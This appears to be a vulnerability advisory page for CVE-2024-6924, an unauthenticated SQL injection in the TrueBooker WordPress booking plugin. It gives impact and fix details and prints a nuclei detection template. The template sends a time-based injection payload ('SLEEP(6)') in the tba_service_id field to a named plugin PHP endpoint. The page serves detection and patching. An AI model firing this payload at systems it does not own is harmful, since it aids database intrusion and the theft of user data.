TrueBooker <= 1.0.2 - SQL Injection

highseverity

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

The TrueBooker Appointment Booking and Scheduler Plugin. plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.0.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can exploit SQL injection to extract sensitive information from the database, including user credentials, email addresses, and other personal data.

Fix

Update TrueBooker Appointment Booking plugin to a version later than 1.0.2 to address the SQL injection vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/truebooker-appointment-booking")
Send: @timeout 20s
Positive when: duration>=6 and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-6924 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-6924

info:
  name: TrueBooker <= 1.0.2 - SQL Injection
  author: s4e-io
  severity: high
  description: |
    The TrueBooker Appointment Booking and Scheduler Plugin. plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.0.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can exploit SQL injection to extract sensitive information from the database, including user credentials, email addresses, and other personal data.
  remediation: |
    Update TrueBooker Appointment Booking plugin to a version later than 1.0.2 to address the SQL injection vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/truebooker-appointment-booking/truebooker-102-unauthenticated-sql-injection
    - https://wpscan.com/vulnerability/39e79801-6ec7-4579-bc6b-fd7e899733a8/
  classification:
    epss-score: 0.03292
    epss-percentile: 0.88597
  metadata:
    vendor: themetechmount
    product: truebooker
    framework: wordpress
    publicwww-query: "/wp-content/plugins/truebooker-appointment-booking"
  tags: time-based-sqli,wpscan,cve,cve2024,sqli,wp,wp-plugin,wordpress,truebooker,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/truebooker-appointment-booking")'
        internal: true

  - raw:
      - |
        @timeout 20s
        POST /wp-content/plugins/truebooker-appointment-booking/main/truebooker-service-price.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        tba_service_id=(SLEEP(6))

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
        condition: and

References

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